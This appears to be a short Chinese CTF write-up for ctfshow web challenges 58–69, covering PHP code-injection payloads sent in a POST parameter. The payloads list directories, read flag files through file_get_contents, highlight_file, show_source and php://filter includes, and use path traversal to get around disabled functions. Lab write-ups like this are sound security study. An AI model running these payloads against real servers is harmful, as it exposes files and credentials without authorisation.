RCE Post篇
ctfshow web58&web59&web60&web61&web62
首先应该查看phpinfo看看禁用了哪些函数
c=print_r(scandir(dirname('FILE')));
可以查看文件有哪些 可以查出存在flag.php
但是这里输入发现phpinfo被禁用了
可以使用
file_get_contents("flag.php")
payload:
c=echo file_get_contents("flag.php");
也可以使用
c=show_source('flag.php');
或
c=highlight_file("flag.php");
web59 禁用了file_get_contents 函数 但下边两个可以使用
补充
这里还可以使用php伪协议进行绕过
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
web66&web67
c=print_r(scandir("/"));
c=var_dump(scandir('/'));
查看根目录 先用scandir列根目录内容,用print_r回显。
print_r -> var_dump
这里可以发现flag并不在当前目录下 我们查看根目录 查找到一个flag.txt 的文件
使用../依次查找
payload: c=highlight_file("../../../../flag.txt");
四次递归后可以找到flag
web68
禁用了highlight_file
首先查找根目录 然后利用include php伪协议构造payload
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";
web69
打开发现 var_dump & print_r 函数都被禁用
使用一个类似函数 var_export
继续使用上一关的payload

浙公网安备 33010602011771号